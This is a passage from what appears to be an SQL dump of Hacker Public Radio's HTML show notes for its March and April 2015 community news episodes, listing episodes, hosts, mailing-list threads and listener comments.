target=\"_blank\">b-yeezi</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1737\" target=\"_blank\">1737</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-03-31</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1737\" target=\"_blank\">Five Steps to Vim</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=195\" target=\"_blank\">Frank Bell</a></td>\n    </tr>\n</table>\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes\nplace on the <a href=\"https://hackerpublicradio.org/maillist\" target=\"_blank\">Mail List</a> which is open to all\nHPR listeners and contributors. The discussions are open and available on the\n<a href=\"https://news.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\" target=\"_blank\">Gmane</a>\narchive.\n</p>\n<p>\nThe main threads this month were:\n<ol>\n    <li><em>From:</em> sigflup synasloble &lt;pantsbutt@...&gt;<br/>\n        <em>Date:</em> 2015-03-01 21:00:10 -0600<br/>\n        <em>Subject:</em> logo<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/775\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/775</a><br/>\n        <em>Messages:</em> 2<br/><br/></li>\n    <li><em>From:</em> Fifty OneFifty &lt;fiftyonefifty@...&gt;<br/>\n        <em>Date:</em> 2015-03-02 23:29:57 -0600<br/>\n        <em>Subject:</em> Is anyone attending LibrePlanet? If not,	I think KLF is our next event.<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/777\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/777</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Mike Ray &lt;mike@...&gt;<br/>\n        <em>Date:</em> 2015-03-03 13:59:57 UTC<br/>\n        <em>Subject:</em> Fear and Lothian?<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/778\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/778</a><br/>\n        <em>Messages:</em> 3<br/><br/></li>\n    <li><em>From:</em> Frank Bell &lt;frankwbell@...&gt;<br/>\n        <em>Date:</em> 2015-03-05 15:07:44 -0500<br/>\n        <em>Subject:</em> Show Synopis<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/780\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/780</a><br/>\n        <em>Messages:</em> 2<br/><br/></li>\n    <li><em>From:</em> Patrick Dailey &lt;pdailey03@...&gt;<br/>\n        <em>Date:</em> 2015-03-10 23:07:29 -0400<br/>\n        <em>Subject:</em> Next HPR_AudioBookClub<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/783\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/783</a><br/>\n        <em>Messages:</em> 6<br/><br/></li>\n    <li><em>From:</em> Fifty OneFifty &lt;fiftyonefifty@...&gt;<br/>\n        <em>Date:</em> 2015-03-11 23:50:04 -0500<br/>\n        <em>Subject:</em> HPR banner for KLF<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/784\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/784</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2015-03-15 12:19:58 +0100<br/>\n        <em>Subject:</em> Change to the calendar page<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/785\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/785</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2015-03-18 09:02:44 +0100<br/>\n        <em>Subject:</em> Call for shows<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/786\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/786</a><br/>\n        <em>Messages:</em> 4<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2015-03-18 09:07:09 +0100<br/>\n        <em>Subject:</em> Fwd: Podcast Interview<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/787\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/787</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Fifty OneFifty &lt;fiftyonefifty@...&gt;<br/>\n        <em>Date:</em> 2015-03-19 01:29:30 -0500<br/>\n        <em>Subject:</em> Bad e-mail ediquette<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/790\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/790</a><br/>\n        <em>Messages:</em> 4<br/><br/></li>\n    <li><em>From:</em> Dave Morriss &lt;perloid@...&gt;<br/>\n        <em>Date:</em> 2015-03-30 09:57:14 +0100<br/>\n        <em>Subject:</em> HPR Community News - next Saturday on 2015-04-04T18:00:00Z<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/800\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/800</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n</ol>\nTotal messages this month: 26\n</p>\n\n<h2>Comments this month</h2>\n\n<p>There are 40 comments:</p>\n<ul> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1178#comments\" target=\"_blank\">hpr1178</a></strong>\n(2013-02-06) \"<em>Interviews with Laura Creighton and Armin Rigo</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=192\" target=\"_blank\">Seetee</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1178#1\" target=\"_blank\">Comment 1</a>:\nTomas on 2015-03-29:\n\"Broken links\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1430#comments\" target=\"_blank\">hpr1430</a></strong>\n(2014-01-24) \"<em>thebestofyoutube.com download script</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.\n<ul>         <li><a href=\"https://hackerpublicradio.org/eps.php?id=1430#8\" target=\"_blank\">Comment 8</a>:\nIan on 2015-03-02:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1430#9\" target=\"_blank\">Comment 9</a>:\nKen Fallon on 2015-03-05:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1496#comments\" target=\"_blank\">hpr1496</a></strong>\n(2014-04-28) \"<em>wiki on the raspberry pi</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a>.\n<ul>   <li><a href=\"https://hackerpublicradio.org/eps.php?id=1496#2\" target=\"_blank\">Comment 2</a>:\nJPRedonnet on 2015-03-04:\n\"Ciwiki\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1690#comments\" target=\"_blank\">hpr1690</a></strong>\n(2015-01-23) \"<em>Arduino 101 Breadboard</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.\n<ul>    <li><a href=\"https://hackerpublicradio.org/eps.php?id=1690#3\" target=\"_blank\">Comment 3</a>:\nMirwi on 2015-03-19:\n\"Great show!\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1702#comments\" target=\"_blank\">hpr1702</a></strong>\n(2015-02-10) \"<em>FOSDEM 2015 Part 5 of 5</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.\n<ul>   <li><a href=\"https://hackerpublicradio.org/eps.php?id=1702#2\" target=\"_blank\">Comment 2</a>:\nAlison Chaiken on 2015-03-04:\n\"Thanks for these segments\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1712#comments\" target=\"_blank\">hpr1712</a></strong>\n(2015-02-24) \"<em>What&#39;s in my Crate</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=282\" target=\"_blank\">Mike Ray</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1712#1\" target=\"_blank\">Comment 1</a>:\nBeeza on 2015-03-02:\n\"Follow-up Episode Please\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1712#2\" target=\"_blank\">Comment 2</a>:\nMike Ray on 2015-03-02:\n\"Follow up to &quot;what&#39;s in my crate&quot;\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1714#comments\" target=\"_blank\">hpr1714</a></strong>\n(2015-02-26) \"<em>Vim Hints 001</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1714#1\" target=\"_blank\">Comment 1</a>:\n0xf10e on 2015-03-26:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1714#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2015-03-26:\n\"Stripped down Vim\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1714#3\" target=\"_blank\">Comment 3</a>:\n0xf10e on 2015-03-29:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1716#comments\" target=\"_blank\">hpr1716</a></strong>\n(2015-03-02) \"<em>HPR Community News for February 2015</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1716#1\" target=\"_blank\">Comment 1</a>:\nMike Ray on 2015-03-02:\n\"&#39;Parcel of Rogues&#39; and access tech\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1716#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2015-03-02:\n\"Robert Burns\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1716#3\" target=\"_blank\">Comment 3</a>:\nMike Ray on 2015-03-02:\n\"Also in the parcel\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1716#4\" target=\"_blank\">Comment 4</a>:\nDave Morriss on 2015-03-02:\n\"Fear and Lothian\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1718#comments\" target=\"_blank\">hpr1718</a></strong>\n(2015-03-04) \"<em>What&#39;s In My Pickup Toolbox</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=131\" target=\"_blank\">FiftyOneFifty</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1718#1\" target=\"_blank\">Comment 1</a>:\nMike Ray on 2015-03-03:\n\"Great podcast\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1720#comments\" target=\"_blank\">hpr1720</a></strong>\n(2015-03-06) \"<em>15 Certificate Issues and Solutions</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1720#1\" target=\"_blank\">Comment 1</a>:\nEllusionSK on 2015-03-28:\n\"Great show\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1721#comments\" target=\"_blank\">hpr1721</a></strong>\n(2015-03-09) \"<em>Cross-compilers Part 2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=282\" target=\"_blank\">Mike Ray</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1721#1\" target=\"_blank\">Comment 1</a>:\nARMed on 2015-03-08:\n\"Part 1\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1721#2\" target=\"_blank\">Comment 2</a>:\nPhalax on 2015-03-16:\n\"Good job\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1722#comments\" target=\"_blank\">hpr1722</a></strong>\n(2015-03-10) \"<em>Kansas Linux Fest 2015, March 21-22, Lawrence KS</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=131\" target=\"_blank\">FiftyOneFifty</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1722#1\" target=\"_blank\">Comment 1</a>:\nmike dupont on 2015-03-09:\n\"https://kansaslinuxfest.us\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1722#2\" target=\"_blank\">Comment 2</a>:\nFiftyOneFifty on 2015-03-10:\n\"I&#39;m a big dummy and got the URL wrong\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1723#comments\" target=\"_blank\">hpr1723</a></strong>\n(2015-03-11) \"<em>Success With Students</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=296\" target=\"_blank\">Kevie</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1723#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2015-03-10:\n\"I listen to all shows\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1723#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2015-03-12:\n\"Excellent show\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1724#comments\" target=\"_blank\">hpr1724</a></strong>\n(2015-03-12) \"<em>Vim Hints 002</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1724#1\" target=\"_blank\">Comment 1</a>:\nPhalax on 2015-03-16:\n\"Great series\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1724#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2015-03-16:\n\"Thanks Phalax\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1724#3\" target=\"_blank\">Comment 3</a>:\njohanv on 2015-03-17:\n\"You always learn new things\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1724#4\" target=\"_blank\">Comment 4</a>:\nDave Morriss on 2015-03-17:\n\"Thanks johanv\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1726#comments\" target=\"_blank\">hpr1726</a></strong>\n(2015-03-16) \"<em>15 Excuses not to Record a show for HPR</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=111\" target=\"_blank\">Knightwise</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1726#1\" target=\"_blank\">Comment 1</a>:\njohanv on 2015-03-17:\n\"LOL!\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1726#2\" target=\"_blank\">Comment 2</a>:\nanonymous on 2015-03-21:\n\"good points\"</li>  \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1727#comments\" target=\"_blank\">hpr1727</a></strong>\n(2015-03-17) \"<em>Basic Mutt</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=195\" target=\"_blank\">Frank Bell</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1727#1\" target=\"_blank\">Comment 1</a>:\narcher72 on 2015-03-17:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1727#2\" target=\"_blank\">Comment 2</a>:\nJonas on 2015-03-19:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1727#3\" target=\"_blank\">Comment 3</a>:\nrstackhouse on 2015-03-21:\n\"Automating alias file creation\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1728#comments\" target=\"_blank\">hpr1728</a></strong>\n(2015-03-18) \"<em>Requested Topic: Favourite Browser Extensions</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=299\" target=\"_blank\">Fin</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1728#1\" target=\"_blank\">Comment 1</a>:\nzloster on 2015-03-18:\n\"Other useful browser extensions for Firefox\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1729#comments\" target=\"_blank\">hpr1729</a></strong>\n(2015-03-19) \"<em>Shield&#39;s Up - Wood Stove Heat Shield Project</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=209\" target=\"_blank\">David Whitman</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1729#1\" target=\"_blank\">Comment 1</a>:\nJon Kulp  on 2015-03-19:\n\"Beautiful!\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1730#comments\" target=\"_blank\">hpr1730</a></strong>\n(2015-03-20) \"<em>5150 Shades of Beer 0005 River City Brewing Company Revisited</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=131\" target=\"_blank\">FiftyOneFifty</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1730#1\" target=\"_blank\">Comment 1</a>:\nMike Ray on 2015-03-21:\n\"Arch Linux on RPI\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1732#comments\" target=\"_blank\">hpr1732</a></strong>\n(2015-03-24) \"<em>Renovating another Public-Domain Counterpoint Textbook</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1732#1\" target=\"_blank\">Comment 1</a>:\nDaniel Worth on 2015-03-24:\n\"Best Show This Year.\"</li>   \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1736#comments\" target=\"_blank\">hpr1736</a></strong>\n(2015-03-30) \"<em>How I run my small business using Linux</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1736#1\" target=\"_blank\">Comment 1</a>:\nJonathan Kulp on 2015-03-30:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1737#comments\" target=\"_blank\">hpr1737</a></strong>\n(2015-03-31) \"<em>Five Steps to Vim</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=195\" target=\"_blank\">Frank Bell</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1737#1\" target=\"_blank\">Comment 1</a>:\nzloster on 2015-03-31:\n\"Small problem\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1737#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2015-03-31:\n\"Re: Small problem\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1737#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2015-03-31:\n\"Great show!\"</li></ul>\n</li>\n</ul>\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(1761,'2015-05-04','HPR Community News for April 2015',4000,'HPR Community News for April 2015','\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=301\" target=\"_blank\">amp</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=302\" target=\"_blank\">Stilvoid</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n    <tr>\n    <th align=\"left\">Id</th>\n    <th align=\"left\">Day</th>\n    <th align=\"left\">Date</th>\n    <th align=\"left\">Title</th>\n    <th align=\"left\">Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1738\" target=\"_blank\">1738</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-04-01</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1738\" target=\"_blank\">Credit Card PIN breach</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=109\" target=\"_blank\">Various Hosts</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1739\" target=\"_blank\">1739</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-04-02</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1739\" target=\"_blank\">Theater of the Imagination: Part 07</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1740\" target=\"_blank\">1740</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-04-03</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1740\" target=\"_blank\">Mailing List Etiquette</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1741\" target=\"_blank\">1741</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-04-06</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1741\" target=\"_blank\">HPR Community News for March 2015</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1742\" target=\"_blank\">1742</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-04-07</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1742\" target=\"_blank\">How to Get Yourself On an Open Source Podcast - Presentation for Kansas Linux Fest, 22 March 2015</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=131\" target=\"_blank\">FiftyOneFifty</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1743\" target=\"_blank\">1743</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-04-08</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1743\" target=\"_blank\">Scale 13x Part 1 of 6</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=24\" target=\"_blank\">Lord Drachenblut</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1744\" target=\"_blank\">1744</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-04-09</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1744\" target=\"_blank\">Scale 13x Part 2 of 6</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=24\" target=\"_blank\">Lord Drachenblut</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1745\" target=\"_blank\">1745</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-04-10</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1745\" target=\"_blank\">51 - LibreOffice Impress - Overview and Guidance</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1746\" target=\"_blank\">1746</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-04-13</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1746\" target=\"_blank\">Scale 13x Part 3 of 6</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=24\" target=\"_blank\">Lord Drachenblut</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1747\" target=\"_blank\">1747</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-04-14</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1747\" target=\"_blank\">Scale 13x Part 4 of 6</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=24\" target=\"_blank\">Lord Drachenblut</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1748\" target=\"_blank\">1748</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-04-15</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1748\" target=\"_blank\">Scale 13x Part 5 of 6</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=24\" target=\"_blank\">Lord Drachenblut</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1749\" target=\"_blank\">1749</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-04-16</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1749\" target=\"_blank\">Scale 13x Part 6 of 6</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=24\" target=\"_blank\">Lord Drachenblut</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1750\" target=\"_blank\">1750</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-04-17</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1750\" target=\"_blank\">xclip, xdotool, xvkbd: 3 CLI Linux tools for RSI sufferers</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1751\" target=\"_blank\">1751</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-04-20</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1751\" target=\"_blank\">How I got into Linux</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=240\" target=\"_blank\">Steve Bickle</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1752\" target=\"_blank\">1752</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-04-21</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1752\" target=\"_blank\">Penguicon 2015 Promo</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1753\" target=\"_blank\">1753</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-04-22</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1753\" target=\"_blank\">Introducing a 5 year old to Sugar on Toast</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=301\" target=\"_blank\">amp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1754\" target=\"_blank\">1754</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-04-23</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1754\" target=\"_blank\">D7? Why Seven?</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td 